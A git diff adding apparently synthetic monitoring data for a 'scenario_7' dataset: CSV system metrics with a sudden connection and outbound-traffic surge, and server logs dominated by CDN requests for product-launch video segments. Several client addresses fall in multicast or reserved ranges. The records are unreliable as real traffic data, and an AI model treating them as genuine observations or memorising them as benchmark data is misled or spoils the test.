192.168.62.32 - - [19/Aug/2025:10:02:45 +0000] "GET /live/product-launch-2025/segment33.ts HTTP/1.1" 206 14098 +Aug 19 10:02:45 cdn-edge[8080]: 192.168.29.49 - - [19/Aug/2025:10:02:45 +0000] "GET /live/product-launch-2025/segment33.ts HTTP/1.1" 200 14098 +Aug 19 10:02:45 cdn-edge[8080]: 192.168.221.30 - - [19/Aug/2025:10:02:45 +0000] "GET /live/product-launch-2025/segment33.ts HTTP/1.1" 206 14098 +Aug 19 10:02:45 cdn-edge[8080]: 192.168.168.19 - - [19/Aug/2025:10:02:45 +0000] "GET /live/product-launch-2025/segment33.ts HTTP/1.1" 206 14098 +Aug 19 10:02:45 cdn-edge[8080]: 192.168.1.78 - - [19/Aug/2025:10:02:45 +0000] "GET /live/product-launch-2025/segment33.ts HTTP/1.1" 200 14098 +Aug 19 10:02:45 cdn-edge[8080]: 192.168.175.242 - - [19/Aug/2025:10:02:45 +0000] "GET /live/product-launch-2025/segment33.ts HTTP/1.1" 206 14098 +Aug 19 10:02:50 cdn-edge[8080]: 192.168.113.114 - - [19/Aug/2025:10:02:50 +0000] "GET /live/product-launch-2025/segment34.ts HTTP/1.1" 206 14098 +Aug 19 10:02:50 cdn-edge[8080]: 192.168.166.179 - - [19/Aug/2025:10:02:50 +0000] "GET /live/product-launch-2025/segment34.ts HTTP/1.1" 200 14098 +Aug 19 10:02:50 cdn-edge[8080]: 192.168.132.129 - - [19/Aug/2025:10:02:50 +0000] "GET /live/product-launch-2025/segment34.ts HTTP/1.1" 206 14098 +Aug 19 10:02:50 cdn-edge[8080]: 192.168.157.55 - - [19/Aug/2025:10:02:50 +0000] "GET /live/product-launch-2025/segment34.ts HTTP/1.1" 200 14098 +Aug 19 10:02:50 cdn-edge[8080]: 192.168.131.32 - - [19/Aug/2025:10:02:50 +0000] "GET /live/product-launch-2025/segment34.ts HTTP/1.1" 206 14098 +Aug 19 10:02:50 cdn-edge[8080]: 192.168.202.211 - - [19/Aug/2025:10:02:50 +0000] "GET /live/product-launch-2025/segment34.ts HTTP/1.1" 206 14098 +Aug 19 10:02:50 cdn-edge[8080]: 192.168.162.124 - - [19/Aug/2025:10:02:50 +0000] "GET /live/product-launch-2025/segment34.ts HTTP/1.1" 200 14098 +Aug 19 10:02:50 cdn-edge[8080]: 192.168.87.55 - - [19/Aug/2025:10:02:50 +0000] "GET /live/product-launch-2025/segment34.ts HTTP/1.1" 206 14098 +Aug 19 10:02:55 cdn-edge[8080]: 192.168.135.93 - - [19/Aug/2025:10:02:55 +0000] "GET /live/product-launch-2025/segment35.ts HTTP/1.1" 206 14098 +Aug 19 10:02:55 cdn-edge[8080]: 192.168.65.57 - - [19/Aug/2025:10:02:55 +0000] "GET /live/product-launch-2025/segment35.ts HTTP/1.1" 200 14098 +Aug 19 10:02:55 cdn-edge[8080]: 192.168.67.216 - - [19/Aug/2025:10:02:55 +0000] "GET /live/product-launch-2025/segment35.ts HTTP/1.1" 200 14098 +Aug 19 10:02:55 cdn-edge[8080]: 192.168.187.253 - - [19/Aug/2025:10:02:55 +0000] "GET /live/product-launch-2025/segment35.ts HTTP/1.1" 206 14098 +Aug 19 10:02:55 cdn-edge[8080]: 192.168.54.249 - - [19/Aug/2025:10:02:55 +0000] "GET /live/product-launch-2025/segment35.ts HTTP/1.1" 200 14098 +Aug 19 10:02:55 cdn-edge[8080]: 192.168.229.67 - - [19/Aug/2025:10:02:55 +0000] "GET /live/product-launch-2025/segment35.ts HTTP/1.1" 200 14098 +Aug 19 10:03:00 cdn-edge[8080]: 192.168.92.239 - - [19/Aug/2025:10:03:00 +0000] "GET /live/product-launch-2025/segment36.ts HTTP/1.1" 206 14098 +Aug 19 10:03:00 cdn-edge[8080]: 192.168.162.35 - - [19/Aug/2025:10:03:00 +0000] "GET /live/product-launch-2025/segment36.ts HTTP/1.1" 206 14098 +Aug 19 10:03:00 cdn-edge[8080]: 192.168.88.78 - - [19/Aug/2025:10:03:00 +0000] "GET /live/product-launch-2025/segment36.ts HTTP/1.1" 206 14098 +Aug 19 10:03:00 cdn-edge[8080]: 192.168.120.46 - - [19/Aug/2025:10:03:00 +0000] "GET /live/product-launch-2025/segment36.ts HTTP/1.1" 200 14098 +Aug 19 10:03:00 cdn-edge[8080]: 192.168.144.196 - - [19/Aug/2025:10:03:00 +0000] "GET /live/product-launch-2025/segment36.ts HTTP/1.1" 206 14098 +Aug 19 10:03:05 cdn-edge[8080]: 192.168.182.213 - - [19/Aug/2025:10:03:05 +0000] "GET /live/product-launch-2025/segment37.ts HTTP/1.1" 206 14098 +Aug 19 10:03:05 cdn-edge[8080]: 192.168.223.55 - - [19/Aug/2025:10:03:05 +0000] "GET /live/product-launch-2025/segment37.ts HTTP/1.1" 206 14098 +Aug 19 10:03:05 cdn-edge[8080]: 192.168.210.7 - - [19/Aug/2025:10:03:05 +0000] "GET /live/product-launch-2025/segment37.ts HTTP/1.1" 206 14098 +Aug 19 10:03:05 cdn-edge[8080]: 192.168.7.161 - - [19/Aug/2025:10:03:05 +0000] "GET /live/product-launch-2025/segment37.ts HTTP/1.1" 200 14098 +Aug 19 10:03:05 cdn-edge[8080]: 192.168.85.147 - - [19/Aug/2025:10:03:05 +0000] "GET /live/product-launch-2025/segment37.ts HTTP/1.1" 206 14098 +Aug 19 10:03:05 cdn-edge[8080]: 192.168.125.147 - - [19/Aug/2025:10:03:05 +0000] "GET /live/product-launch-2025/segment37.ts HTTP/1.1" 206 14098 +Aug 19 10:03:05 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/live/product-launch-2025/segment86.ts HTTP/1.1" 206 14098 +Aug 19 10:07:15 cdn-edge[8080]: 192.168.161.169 - - [19/Aug/2025:10:07:15 +0000] "GET /live/product-launch-2025/segment87.ts HTTP/1.1" 200 14098 +Aug 19 10:07:15 cdn-edge[8080]: 192.168.176.13 - - [19/Aug/2025:10:07:15 +0000] "GET /live/product-launch-2025/segment87.ts HTTP/1.1" 200 14098 +Aug 19 10:07:15 cdn-edge[8080]: 192.168.245.77 - - [19/Aug/2025:10:07:15 +0000] "GET /live/product-launch-2025/segment87.ts HTTP/1.1" 200 14098 +Aug 19 10:07:15 cdn-edge[8080]: 192.168.233.203 - - [19/Aug/2025:10:07:15 +0000] "GET /live/product-launch-2025/segment87.ts HTTP/1.1" 206 14098 +Aug 19 10:07:15 cdn-edge[8080]: 192.168.98.125 - - [19/Aug/2025:10:07:15 +0000] "GET /live/product-launch-2025/segment87.ts HTTP/1.1" 206 14098 +Aug 19 10:07:20 cdn-edge[8080]: 192.168.102.19 - - [19/Aug/2025:10:07:20 +0000] "GET /live/product-launch-2025/segment88.ts HTTP/1.1" 206 14098 +Aug 19 10:07:20 cdn-edge[8080]: 192.168.226.82 - - [19/Aug/2025:10:07:20 +0000] "GET /live/product-launch-2025/segment88.ts HTTP/1.1" 200 14098 +Aug 19 10:07:20 cdn-edge[8080]: 192.168.233.23 - - [19/Aug/2025:10:07:20 +0000] "GET /live/product-launch-2025/segment88.ts HTTP/1.1" 200 14098 +Aug 19 10:07:20 cdn-edge[8080]: 192.168.109.75 - - [19/Aug/2025:10:07:20 +0000] "GET /live/product-launch-2025/segment88.ts HTTP/1.1" 200 14098 +Aug 19 10:07:20 cdn-edge[8080]: 192.168.88.254 - - [19/Aug/2025:10:07:20 +0000] "GET /live/product-launch-2025/segment88.ts HTTP/1.1" 206 14098 +Aug 19 10:07:20 cdn-edge[8080]: 192.168.199.89 - - [19/Aug/2025:10:07:20 +0000] "GET /live/product-launch-2025/segment88.ts HTTP/1.1" 200 14098 +Aug 19 10:07:20 cdn-edge[8080]: 192.168.143.65 - - [19/Aug/2025:10:07:20 +0000] "GET /live/product-launch-2025/segment88.ts HTTP/1.1" 206 14098 +Aug 19 10:07:20 cdn-edge[8080]: 192.168.250.199 - - [19/Aug/2025:10:07:20 +0000] "GET /live/product-launch-2025/segment88.ts HTTP/1.1" 200 14098 +Aug 19 10:07:25 cdn-edge[8080]: 192.168.147.60 - - [19/Aug/2025:10:07:25 +0000] "GET /live/product-launch-2025/segment89.ts HTTP/1.1" 200 14098 +Aug 19 10:07:25 cdn-edge[8080]: 192.168.217.161 - - [19/Aug/2025:10:07:25 +0000] "GET /live/product-launch-2025/segment89.ts HTTP/1.1" 200 14098 +Aug 19 10:07:25 cdn-edge[8080]: 192.168.224.241 - - [19/Aug/2025:10:07:25 +0000] "GET /live/product-launch-2025/segment89.ts HTTP/1.1" 200 14098 +Aug 19 10:07:25 cdn-edge[8080]: 192.168.172.102 - - [19/Aug/2025:10:07:25 +0000] "GET /live/product-launch-2025/segment89.ts HTTP/1.1" 206 14098 +Aug 19 10:07:25 cdn-edge[8080]: 192.168.11.99 - - [19/Aug/2025:10:07:25 +0000] "GET /live/product-launch-2025/segment89.ts HTTP/1.1" 206 14098 +Aug 19 10:07:25 cdn-edge[8080]: 192.168.110.206 - - [19/Aug/2025:10:07:25 +0000] "GET /live/product-launch-2025/segment89.ts HTTP/1.1" 206 14098 +Aug 19 10:07:25 cdn-edge[8080]: 192.168.194.174 - - [19/Aug/2025:10:07:25 +0000] "GET /live/product-launch-2025/segment89.ts HTTP/1.1" 200 14098 +Aug 19 10:07:25 cdn-edge[8080]: 192.168.3.85 - - [19/Aug/2025:10:07:25 +0000] "GET /live/product-launch-2025/segment89.ts HTTP/1.1" 206 14098 +Aug 19 10:07:25 cdn-edge[8080]: 192.168.72.48 - - [19/Aug/2025:10:07:25 +0000] "GET /live/product-launch-2025/segment89.ts HTTP/1.1" 206 14098 diff --git a/norm_dataset/scenario_7/norm_7_11.csv b/norm_dataset/scenario_7/norm_7_11.csv new file mode 100644 index 0000000000000000000000000000000000000000..bb7af0cd37d831c5f1ea173c0b4dfc0dbb43edba --- /dev/null +++ b/norm_dataset/scenario_7/norm_7_11.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out,connections +2025-07-02T12:00:00Z,14.28,37.86,13.49,1.22,55.16,208 +2025-07-02T12:00:05Z,14.04,38.22,7.16,2.39,39.82,230 +2025-07-02T12:00:10Z,12.81,39.5,10.75,1.97,50.18,187 +2025-07-02T12:00:15Z,17.69,41.31,12.46,2.05,55.24,200 +2025-07-02T12:00:20Z,14.58,40.48,13.05,1.04,59.26,193 +2025-07-02T12:00:25Z,15.13,45.05,9.24,1.86,53.59,239 +2025-07-02T12:00:30Z,14.02,39.7,11.04,2.69,51.9,209 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+2025-07-02T12:06:20Z,63.99,62.4,11.25,3.43,898.31,50994 +2025-07-02T12:06:25Z,53.69,51.2,10.92,1.94,793.97,48593 +2025-07-02T12:06:30Z,64.08,55.29,12.57,2.64,788.22,48192 +2025-07-02T12:06:35Z,67.98,53.84,14.58,2.07,870.36,49733 +2025-07-02T12:06:40Z,52.68,54.74,12.86,2.29,871.36,49069 +2025-07-02T12:06:45Z,66.73,52.12,10.82,2.6,810.23,49359 +2025-07-02T12:06:50Z,69.36,54.98,7.82,1.88,830.27,50892 +2025-07-02T12:06:55Z,57.2,56.9,9.43,2.02,869.75,51581 +2025-07-02T12:07:00Z,65.2,58.79,12.53,2.29,827.48,48654 +2025-07-02T12:07:05Z,62.65,57.06,11.75,2.42,841.59,49722 +2025-07-02T12:07:10Z,60.29,59.86,10.24,2.7,765.61,48649 +2025-07-02T12:07:15Z,58.5,54.85,9.68,1.97,886.76,51947 +2025-07-02T12:07:20Z,62.13,56.2,7.3,2.38,891.04,48273 +2025-07-02T12:07:25Z,61.39,56.85,13.59,2.27,877.98,50473 diff --git a/norm_dataset/scenario_7/norm_7_11.log b/norm_dataset/scenario_7/norm_7_11.log new file mode 100644 index 0000000000000000000000000000000000000000..c2c872df4cce3a4d1f7e1b5af09c2a2fc708210b --- /dev/null +++ b/norm_dataset/scenario_7/norm_7_11.log @@ -0,0 +1,1630 @@ +Jul 02 12:00:00 systemd[1]: Starting daily clean up activities... +Jul 02 12:00:00 web-app[4567]: GET /api/v1/health status=200 OK +Jul 02 12:00:05 CRON[6673]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 12:00:10 web-app[4567]: GET /api/v1/health status=200 OK +Jul 02 12:00:20 web-app[4567]: GET /api/v1/health status=200 OK +Jul 02 12:00:30 systemd[1]: Starting daily clean up activities... +Jul 02 12:00:30 web-app[4567]: GET /api/v1/health status=200 OK +Jul 02 12:00:40 web-app[4567]: GET /api/v1/health status=200 OK +Jul 02 12:00:50 web-app[4567]: GET /api/v1/health status=200 OK +Jul 02 12:01:00 systemd[1]: Starting daily clean up activities... +Jul 02 12:01:00 web-app[4567]: GET /api/v1/health status=200 OK +Jul 02 12:01:10 web-app[4567]: GET /api/v1/health status=200 OK +Jul 02 12:01:20 web-app[4567]: GET /api/v1/health status=200 OK +Jul 02 12:01:30 systemd[1]: Starting daily clean up activities... +Jul 02 12:01:30 web-app[4567]: GET /api/v1/health status=200 OK +Jul 02 12:01:30 systemd[1]: Starting daily clean up activities... +Jul 02 12:01:30 web-app[4567]: GET /api/v1/health status=200 OK +Jul 02 12:01:40 web-app[4567]: GET /api/v1/health status=200 OK +Jul 02 12:01:50 web-app[4567]: GET /api/v1/health status=200 OK +Jul 02 12:02:00 systemd[1]: Starting daily clean up activities... +Jul 02 12:02:00 web-app[4567]: GET /api/v1/health status=200 OK +Jul 02 12:02:10 web-app[4567]: GET /api/v1/health status=200 OK +Jul 02 12:02:31 cdn-access[8888]: 126.152.68.170 - - [02/Jul/2025:12:02:31 +0000] "GET /live/stream/product-launch-2025/segment1.ts HTTP/1.1" 200 2366529 "-" "QuickTime/7.7.3" +Jul 02 12:02:31 cdn-access[8888]: 51.40.244.116 - - [02/Jul/2025:12:02:31 +0000] "GET /live/stream/product-launch-2025/segment1.ts HTTP/1.1" 200 2208147 "-" "VLC/3.0.16" +Jul 02 12:02:31 cdn-access[8888]: 228.200.9.160 - - [02/Jul/2025:12:02:31 +0000] "GET /live/stream/product-launch-2025/segment1.ts HTTP/1.1" 206 1261481 "-" "VLC/3.0.16" +Jul 02 12:02:31 cdn-access[8888]: 211.142.236.112 - - [02/Jul/2025:12:02:31 +0000] "GET /live/stream/product-launch-2025/segment1.ts HTTP/1.1" 200 2435605 "-" "VLC/3.0.16" +Jul 02 12:02:31 cdn-access[8888]: 76.97.104.33 - - [02/Jul/2025:12:02:31 +0000] "GET /live/stream/product-launch-2025/segment1.ts HTTP/1.1" 200 2458735 "-" "Mozilla/5.0" +Jul 02 12:02:30 cdn-access[8888]: 202.243.249.167 - - [02/Jul/2025:12:02:30 +0000] "GET /live/stream/product-launch-2025/segment1.ts HTTP/1.1" 200 2121162 "-" "Mozilla/5.0" +Jul 02 12:02:31 cdn-access[8888]: 182.71.37.194 - - [02/Jul/2025:12:02:31 +0000] "GET /live/stream/product-launch-2025/segment1.ts HTTP/1.1" 206 2175702 "-" "QuickTime/7.7.3" +Jul 02 12:02:30 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Jul 02 12:02:32 cdn-access[8888]: 200.251.57.192 - - [02/Jul/2025:12:02:32 +0000] "GET /live/stream/product-launch-2025/segment2.ts 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26.214.89.12 - - [02/Jul/2025:12:07:15 +0000] "GET /live/stream/product-launch-2025/segment148.ts HTTP/1.1" 200 1007043 "-" "VLC/3.0.16" +Jul 02 12:07:15 cdn-access[8888]: 83.176.216.39 - - [02/Jul/2025:12:07:15 +0000] "GET /live/stream/product-launch-2025/segment148.ts HTTP/1.1" 200 1426157 "-" "VLC/3.0.16" +Jul 02 12:07:15 cdn-access[8888]: 48.207.235.242 - - [02/Jul/2025:12:07:15 +0000] "GET /live/stream/product-launch-2025/segment148.ts HTTP/1.1" 200 1060037 "-" "Mozilla/5.0" +Jul 02 12:07:15 cdn-access[8888]: 59.103.180.193 - - [02/Jul/2025:12:07:15 +0000] "GET /live/stream/product-launch-2025/segment148.ts HTTP/1.1" 200 1087777 "-" "VLC/3.0.16" +Jul 02 12:07:15 cdn-access[8888]: 20.219.142.251 - - [02/Jul/2025:12:07:15 +0000] "GET /live/stream/product-launch-2025/segment148.ts HTTP/1.1" 206 2158922 "-" "Mozilla/5.0" +Jul 02 12:07:15 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Jul 02 12:07:16 cdn-access[8888]: 16.78.66.44 - - [02/Jul/2025:12:07:16 +0000] "GET /live/stream/product-launch-2025/segment148.ts HTTP/1.1" 200 2240010 "-" "VLC/3.0.16" +Jul 02 12:07:16 cdn-access[8888]: 41.2.243.110 - - [02/Jul/2025:12:07:16 +0000] "GET /live/stream/product-launch-2025/segment148.ts HTTP/1.1" 200 2143075 "-" "VLC/3.0.16" +Jul 02 12:07:16 cdn-access[8888]: 57.196.45.139 - - [02/Jul/2025:12:07:16 +0000] "GET /live/stream/product-launch-2025/segment148.ts HTTP/1.1" 206 2335875 "-" "QuickTime/7.7.3" +Jul 02 12:07:16 cdn-access[8888]: 246.99.218.155 - - [02/Jul/2025:12:07:16 +0000] "GET /live/stream/product-launch-2025/segment148.ts HTTP/1.1" 200 1493494 "-" "QuickTime/7.7.3" +Jul 02 12:07:16 cdn-access[8888]: 246.13.186.181 - - [02/Jul/2025:12:07:16 +0000] "GET /live/stream/product-launch-2025/segment148.ts HTTP/1.1" 200 1879401 "-" "Mozilla/5.0" +Jul 02 12:07:16 cdn-access[8888]: 121.21.243.61 - - [02/Jul/2025:12:07:16 +0000] "GET /live/stream/product-launch-2025/segment148.ts HTTP/1.1" 200 1589614 "-" "Mozilla/5.0" +Jul 02 12:07:16 cdn-access[8888]: 45.42.249.242 - - [02/Jul/2025:12:07:16 +0000] "GET /live/stream/product-launch-2025/segment148.ts HTTP/1.1" 200 1797731 "-" "VLC/3.0.16" +Jul 02 12:07:16 cdn-access[8888]: 172.72.161.24 - - [02/Jul/2025:12:07:16 +0000] "GET /live/stream/product-launch-2025/segment148.ts HTTP/1.1" 206 1251840 "-" "QuickTime/7.7.3" +Jul 02 12:07:15 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Jul 02 12:07:17 cdn-access[8888]: 135.80.168.211 - - [02/Jul/2025:12:07:17 +0000] "GET /live/stream/product-launch-2025/segment148.ts HTTP/1.1" 206 1094494 "-" "Mozilla/5.0" +Jul 02 12:07:17 cdn-access[8888]: 156.205.117.133 - - [02/Jul/2025:12:07:17 +0000] "GET /live/stream/product-launch-2025/segment148.ts HTTP/1.1" 200 2196142 "-" "Mozilla/5.0" +Jul 02 12:07:17 cdn-access[8888]: 214.51.47.29 - - [02/Jul/2025:12:07:17 +0000] "GET /live/stream/product-launch-2025/segment148.ts HTTP/1.1" 206 1244722 "-" "Mozilla/5.0" +Jul 02 12:07:17 cdn-access[8888]: 208.195.9.77 - - [02/Jul/2025:12:07:17 +0000] "GET /live/stream/product-launch-2025/segment148.ts HTTP/1.1" 200 2105205 "-" "VLC/3.0.16" +Jul 02 12:07:17 cdn-access[8888]: 48.91.9.142 - - [02/Jul/2025:12:07:17 +0000] "GET /live/stream/product-launch-2025/segment148.ts HTTP/1.1" 200 2380103 "-" "VLC/3.0.16" +Jul 02 12:07:17 cdn-access[8888]: 106.208.54.51 - - [02/Jul/2025:12:07:17 +0000] "GET /live/stream/product-launch-2025/segment148.ts HTTP/1.1" 206 2348804 "-" "VLC/3.0.16" +Jul 02 12:07:18 cdn-access[8888]: 36.11.232.121 - - [02/Jul/2025:12:07:18 +0000] "GET /live/stream/product-launch-2025/segment148.ts HTTP/1.1" 206 1404174 "-" "Mozilla/5.0" +Jul 02 12:07:18 cdn-access[8888]: 184.249.43.28 - - [02/Jul/2025:12:07:18 +0000] "GET /live/stream/product-launch-2025/segment148.ts HTTP/1.1" 200 1511342 "-" "QuickTime/7.7.3" +Jul 02 12:07:18 cdn-access[8888]: 33.249.67.101 - - [02/Jul/2025:12:07:18 +0000] "GET /live/stream/product-launch-2025/segment148.ts HTTP/1.1" 206 2262298 "-" "Mozilla/5.0" +Jul 02 12:07:19 cdn-access[8888]: 141.97.122.37 - - [02/Jul/2025:12:07:19 +0000] "GET /live/stream/product-launch-2025/segment149.ts HTTP/1.1" 200 1164201 "-" "VLC/3.0.16" +Jul 02 12:07:18 cdn-access[8888]: 229.170.29.52 - - [02/Jul/2025:12:07:18 +0000] "GET /live/stream/product-launch-2025/segment149.ts HTTP/1.1" 200 2316141 "-" "Mozilla/5.0" +Jul 02 12:07:19 cdn-access[8888]: 234.56.159.122 - - [02/Jul/2025:12:07:19 +0000] "GET /live/stream/product-launch-2025/segment149.ts HTTP/1.1" 200 1361701 "-" "Mozilla/5.0" +Jul 02 12:07:19 cdn-access[8888]: 166.228.208.21 - - [02/Jul/2025:12:07:19 +0000] "GET /live/stream/product-launch-2025/segment149.ts HTTP/1.1" 206 1524703 "-" "VLC/3.0.16" +Jul 02 12:07:19 cdn-access[8888]: 243.129.141.106 - - [02/Jul/2025:12:07:19 +0000] "GET /live/stream/product-launch-2025/segment149.ts HTTP/1.1" 200 1338114 "-" "QuickTime/7.7.3" +Jul 02 12:07:20 cdn-access[8888]: 44.136.24.54 - - [02/Jul/2025:12:07:20 +0000] "GET /live/stream/product-launch-2025/segment150.ts HTTP/1.1" 206 1530578 "-" "QuickTime/7.7.3" +Jul 02 12:07:20 cdn-access[8888]: 160.122.228.128 - - [02/Jul/2025:12:07:20 +0000] "GET /live/stream/product-launch-2025/segment150.ts HTTP/1.1" 206 1596646 "-" "QuickTime/7.7.3" +Jul 02 12:07:20 cdn-access[8888]: 228.218.60.233 - - [02/Jul/2025:12:07:20 +0000] "GET /live/stream/product-launch-2025/segment150.ts HTTP/1.1" 206 1822051 "-" "VLC/3.0.16" +Jul 02 12:07:20 cdn-access[8888]: 176.64.23.15 - - [02/Jul/2025:12:07:20 +0000] "GET /live/stream/product-launch-2025/segment150.ts HTTP/1.1" 200 1620745 "-" "VLC/3.0.16" +Jul 02 12:07:20 cdn-access[8888]: 247.161.98.181 - - [02/Jul/2025:12:07:20 +0000] "GET /live/stream/product-launch-2025/segment150.ts HTTP/1.1" 206 1427291 "-" "VLC/3.0.16" +Jul 02 12:07:19 cdn-access[8888]: 40.97.11.219 - - [02/Jul/2025:12:07:19 +0000] "GET /live/stream/product-launch-2025/segment150.ts HTTP/1.1" 206 1342866 "-" "QuickTime/7.7.3" +Jul 02 12:07:20 cdn-access[8888]: 158.154.243.90 - - [02/Jul/2025:12:07:20 +0000] "GET /live/stream/product-launch-2025/segment150.ts HTTP/1.1" 200 2159036 "-" "QuickTime/7.7.3" +Jul 02 12:07:20 cdn-access[8888]: 139.139.199.14 - - [02/Jul/2025:12:07:20 +0000] "GET /live/stream/product-launch-2025/segment150.ts HTTP/1.1" 206 2320365 "-" "VLC/3.0.16" +Jul 02 12:07:21 cdn-access[8888]: 86.80.31.203 - - [02/Jul/2025:12:07:21 +0000] "GET /live/stream/product-launch-2025/segment150.ts HTTP/1.1" 200 1664577 "-" "QuickTime/7.7.3" +Jul 02 12:07:21 cdn-access[8888]: 152.232.48.70 - - [02/Jul/2025:12:07:21 +0000] "GET /live/stream/product-launch-2025/segment150.ts HTTP/1.1" 200 2095190 "-" "VLC/3.0.16" +Jul 02 12:07:20 cdn-access[8888]: 49.73.223.161 - - [02/Jul/2025:12:07:20 +0000] "GET /live/stream/product-launch-2025/segment150.ts HTTP/1.1" 200 2110749 "-" "VLC/3.0.16" +Jul 02 12:07:22 cdn-access[8888]: 88.131.5.175 - - [02/Jul/2025:12:07:22 +0000] "GET /live/stream/product-launch-2025/segment151.ts HTTP/1.1" 200 1610414 "-" "VLC/3.0.16" +Jul 02 12:07:22 cdn-access[8888]: 140.102.228.26 - - [02/Jul/2025:12:07:22 +0000] "GET /live/stream/product-launch-2025/segment151.ts HTTP/1.1" 206 2100765 "-" "QuickTime/7.7.3" +Jul 02 12:07:22 cdn-access[8888]: 7.146.214.126 - - [02/Jul/2025:12:07:22 +0000] "GET /live/stream/product-launch-2025/segment151.ts HTTP/1.1" 206 1167833 "-" "VLC/3.0.16" +Jul 02 12:07:22 cdn-access[8888]: 19.129.28.135 - - [02/Jul/2025:12:07:22 +0000] "GET /live/stream/product-launch-2025/segment151.ts HTTP/1.1" 206 1567694 "-" "VLC/3.0.16" +Jul 02 12:07:22 cdn-access[8888]: 92.70.106.204 - - [02/Jul/2025:12:07:22 +0000] "GET /live/stream/product-launch-2025/segment151.ts HTTP/1.1" 206 1856510 "-" "QuickTime/7.7.3" +Jul 02 12:07:23 cdn-access[8888]: 63.171.70.19 - - [02/Jul/2025:12:07:23 +0000] "GET /live/stream/product-launch-2025/segment151.ts HTTP/1.1" 206 2138044 "-" "Mozilla/5.0" +Jul 02 12:07:22 cdn-access[8888]: 160.35.246.203 - - [02/Jul/2025:12:07:22 +0000] "GET /live/stream/product-launch-2025/segment151.ts HTTP/1.1" 200 1083954 "-" "Mozilla/5.0" +Jul 02 12:07:23 cdn-access[8888]: 144.216.36.98 - - [02/Jul/2025:12:07:23 +0000] "GET /live/stream/product-launch-2025/segment151.ts HTTP/1.1" 206 1911870 "-" "VLC/3.0.16" +Jul 02 12:07:23 cdn-access[8888]: 30.195.60.189 - - [02/Jul/2025:12:07:23 +0000] "GET /live/stream/product-launch-2025/segment151.ts HTTP/1.1" 200 1602490 "-" "VLC/3.0.16" +Jul 02 12:07:23 cdn-access[8888]: 121.141.244.198 - - [02/Jul/2025:12:07:23 +0000] "GET /live/stream/product-launch-2025/segment151.ts HTTP/1.1" 206 2113872 "-" "QuickTime/7.7.3" +Jul 02 12:07:24 cdn-access[8888]: 139.202.75.122 - - [02/Jul/2025:12:07:24 +0000] "GET /live/stream/product-launch-2025/segment152.ts HTTP/1.1" 200 2427648 "-" "VLC/3.0.16" +Jul 02 12:07:24 cdn-access[8888]: 240.218.142.214 - - [02/Jul/2025:12:07:24 +0000] "GET /live/stream/product-launch-2025/segment152.ts HTTP/1.1" 200 1976519 "-" "QuickTime/7.7.3" +Jul 02 12:07:23 cdn-access[8888]: 19.55.246.105 - - [02/Jul/2025:12:07:23 +0000] "GET /live/stream/product-launch-2025/segment152.ts HTTP/1.1" 200 2059952 "-" "VLC/3.0.16" diff --git a/norm_dataset/scenario_7/norm_7_12.csv b/norm_dataset/scenario_7/norm_7_12.csv new file mode 100644 index 0000000000000000000000000000000000000000..025511d9e6df64c3b8dadbee79be351671b403cc --- /dev/null +++ b/norm_dataset/scenario_7/norm_7_12.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out,network_connections +2025-08-20T21:00:00Z,13.67,42.59,32.74,1.5,1.14,54 +2025-08-20T21:00:05Z,16.4,38.54,31.97,1.67,1.17,50 +2025-08-20T21:00:10Z,14.7,42.84,27.17,0.94,1.26,171 +2025-08-20T21:00:15Z,14.24,40.15,32.01,1.71,0.98,179 +2025-08-20T21:00:20Z,19.1,40.18,30.48,1.58,0.81,115 +2025-08-20T21:00:25Z,11.66,37.55,38.47,1.92,0.87,157 +2025-08-20T21:00:30Z,16.65,39.87,26.31,1.39,1.03,111 +2025-08-20T21:00:35Z,16.27,38.44,37.63,1.44,1.06,69 +2025-08-20T21:00:40Z,15.56,42.47,27.18,1.17,0.96,61 +2025-08-20T21:00:45Z,15.06,39.26,32.02,1.4,0.96,133 +2025-08-20T21:00:50Z,17.34,39.7,14.9,1.24,1.37,150 +2025-08-20T21:00:55Z,16.63,42.81,26.0,1.19,1.08,72 +2025-08-20T21:01:00Z,16.96,44.0,22.34,1.99,1.08,50 +2025-08-20T21:01:05Z,14.67,40.54,26.36,1.66,0.87,148 +2025-08-20T21:01:10Z,17.17,43.1,20.21,1.5,0.93,164 +2025-08-20T21:01:15Z,11.57,42.43,32.62,1.78,1.16,145 +2025-08-20T21:01:20Z,13.97,39.81,26.71,1.87,0.92,141 +2025-08-20T21:01:25Z,16.38,40.32,31.71,1.67,0.84,102 +2025-08-20T21:01:30Z,15.48,41.26,37.77,1.5,1.01,193 +2025-08-20T21:01:35Z,18.16,41.45,35.35,1.33,0.81,112 +2025-08-20T21:01:40Z,16.88,40.41,24.61,1.79,1.14,53 +2025-08-20T21:01:45Z,16.97,43.06,42.74,1.66,1.1,158 +2025-08-20T21:01:50Z,14.55,42.85,30.46,1.47,0.97,76 +2025-08-20T21:01:55Z,14.01,41.22,34.48,1.39,1.13,188 +2025-08-20T21:02:00Z,12.69,41.72,33.99,0.93,1.07,160 +2025-08-20T21:02:05Z,18.57,46.1,32.97,1.45,1.13,189 +2025-08-20T21:02:10Z,12.74,38.61,21.94,1.78,1.36,96 +2025-08-20T21:02:15Z,17.22,42.65,35.45,0.98,0.92,76 +2025-08-20T21:02:20Z,14.42,41.87,28.33,1.38,0.86,140 +2025-08-20T21:02:25Z,14.33,45.39,27.81,1.48,0.87,148 +2025-08-20T21:02:30Z,13.22,42.92,28.13,1.52,0.51,75 +2025-08-20T21:02:35Z,13.02,42.22,26.61,1.8,0.99,71 +2025-08-20T21:02:40Z,13.41,42.15,34.95,1.35,1.15,74 +2025-08-20T21:02:45Z,14.82,42.7,24.3,1.87,0.77,98 +2025-08-20T21:02:50Z,16.51,44.95,30.17,1.62,1.05,140 +2025-08-20T21:02:55Z,73.42,45.93,28.96,1.78,153.19,50000 +2025-08-20T21:03:00Z,71.24,44.24,22.89,1.1,155.58,43124 +2025-08-20T21:03:05Z,52.99,43.65,24.23,1.42,143.58,46344 +2025-08-20T21:03:10Z,46.44,42.29,25.45,1.19,161.71,43790 +2025-08-20T21:03:15Z,35.42,40.55,29.82,1.59,147.47,43873 +2025-08-20T21:03:20Z,37.3,45.62,18.47,1.52,163.32,43869 +2025-08-20T21:03:25Z,41.57,44.24,31.26,1.06,116.71,43110 +2025-08-20T21:03:30Z,41.96,43.49,35.0,1.84,145.66,43692 